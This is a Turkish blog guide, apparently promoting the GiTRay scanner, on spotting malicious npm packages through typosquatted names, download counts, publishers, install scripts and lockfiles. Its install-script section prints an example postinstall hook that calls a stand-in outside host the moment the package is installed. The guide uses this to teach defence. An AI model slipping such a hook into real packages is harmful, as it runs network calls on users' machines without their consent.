Bir npm paketinin zararlı olup olmadığını nasıl anlarsın
Yazan: Doruk Kıno · · 3 dk okuma
Tam npm install bir-paket yapacakken duraksıyorsun: bu paket güvenli mi? Paketlerin büyük çoğunluğu gayet sorunsuzdur. Asıl tehlike, az sayıdaki zararlı olanlardır — genelde popüler bir paketin adına benzeyen sahte bir paket — ve iki dakikalık kontrolü hak ederler, çünkü bir npm paketi sen kurar kurmaz makinende kod çalıştırabilir.
Acelen mi var?
İsmin tam yazımını iki kez kontrol et, haftalık indirme sayısını beklediğinle karşılaştır ve bir kurulum scripti olup olmadığına bak. Bir şey ters geliyorsa onu ana makinende kurma.
Bir paket neden tehlikeli olabilir?
Bir paketi kurduğunda npm, paketin getirdiği kurulum scriptlerini çalıştırabilir — sen paketi daha hiçbir şey için kullanmadan, otomatik yürüyen küçük komutlar. Zararlı bir paket bu anı kimlik bilgisi çalmak, arka kapı açmak ya da başka bir şey kurmak için kullanır. Yani soru hem “bu gerçekten kastettiğim paket mi?” hem de “kurulum sırasında yapmaması gereken bir şey mi yapıyor?”
1. İsmi harf harf kontrol et (typosquatting)
“Typosquatting”, popüler bir paketin adının neredeyse birebir kopyası olan bir paket yayınlamak demektir; yanlış yazmanı ya da şüpheli bir öğreticiden kopyalamanı umarlar. Eksik bir tire, yer değiştirmiş bir harf, fazladan bir kelime ya da Amerikan/İngiliz yazımı sık görülür. Kurduğun şeyin tam olarak istediğin paket olduğunu doğrula — tercihen rastgele bir blogdan ya da sohbet mesajından değil, projenin kendi dokümanından.
- Benzer yazım.
cross-envyerinecrossenvya dacoloryerinecolour. - Scoped/unscoped. Gerçek bir scoped paketi (
@org/sey) taklit eden sahte, scope'suz bir isim. - Kopyalanmış açıklama. Liste metni gerçek paketten kelimesi kelimesine alınmış.
2. İndirme sayısını ve yayın tarihini karşılaştır
Paketin npm sayfasını aç ve iki sayıya bak: haftalık indirme ve ne zaman yayınlandığı. Popüler bir kütüphane olduğunu iddia eden ama yalnızca birkaç yüz indirmesi olan ya da birkaç gün önce ilk kez yayınlanmış bir paket bir uyarı işaretidir. Gerçek, yaygın kullanılan paketlerin uzun bir geçmişi ve büyük, istikrarlı indirme sayıları vardır.
3. Kim yayınlıyor ve gerçek bir projeye link veriyor mu?
Geliştiriciye ve repo bağlantısına bak. Gerçek bir paket, resmî kaynak reposuna işaret eder ve o projeyi sürdüren kişiler tarafından yayınlanır. Bir typosquat ise çoğu zaman bir fork'a, kişisel bir kopyaya ya da hiç repoya işaret etmez — ve yayıncı, başka hiçbir işi olmayan yepyeni bir hesap olabilir.
4. Kurulum scriptlerini oku
Paketin package.json dosyasında scripts bölümüne bak — özellikle preinstall ve postinstall. Sıradan kütüphanelerin çoğunun kurulum sırasında bir şey çalıştırmaya ihtiyacı yoktur; bu yüzden internetten bir şey indirip çalıştıran bir kurulum scripti güçlü bir kırmızı bayraktır.
"scripts": {
"postinstall": "node -e \"require('https').get('https://collect.example.invalid')\""
}Daha güvenli bir ilk kurulum
Emin olmadığın bir paketi denemek istersen, scriptlerini çalıştırmadan kur: npm install --ignore-scripts — ve bunu anahtarlarını, tokenlarını tutan dizüstünde değil, tek kullanımlık bir sanal makinede ya da container'da yap.
5. Kilit dosyasına sürprizler için göz at
package-lock.json (ya da yarn.lock / pnpm-lock.yaml) gerçekten kurulacak her bağımlılığı, dolaylı gelenler dahil, listeler. Hiç duymadığın bir paket orada beliriyorsa ya da tanıdık bir bağımlılık birden tuhaf bir sürüme atlıyorsa, kurmadan önce yakından bakmaya değer.
Yardımcı araçlar (ve gerçekte ne kontrol ettikleri)
Birkaç ücretsiz araç bunun çoğunu senin yerine yapabilir. npm audit bilinen güvenlik hatalarını işaretler, ama şunu unutma: sıradan açıkları bildirir, illa zararlı yazılımı değil. Özel tarayıcılar özellikle kurulum scripti ve typosquatting riskine bakar. Ve GiTRay bir reponun bağımlılık dosyalarını okur ve hiçbir şey kurmadan bunları bilinen zararlı paketlerin herkese açık bir veritabanıyla (OSV) karşılaştırır. Tek bir paket yerine koca bir GitHub projesini değerlendiriyorsan, en hızlı ilk sinyal budur.
Koca bir GitHub reposunu nasıl kontrol edersin, GiTRay nasıl çalışır ya da kontrollerin tam listesi sayfalarına bak.
Hemen bir repo tara
Herkese açık bir GitHub adresini yapıştır, GiTRay bütün bu kontrolleri saniyeler içinde yapar — klonlamadan ve hiçbir şey çalıştırmadan.
Özetle
Çoğu paket güvenlidir; nadir görülen tehlikeli olanı genelde kendini belli eder: benzer bir isim, şüpheli derecede düşük bir indirme sayısı, eksik ya da sahte bir repo, veya internete uzanan bir kurulum scripti. Bunları kontrol et, bilinmeyen kodu bir sandbox'ta kur ve sıkıcı kısımları bir tarayıcıya bırak.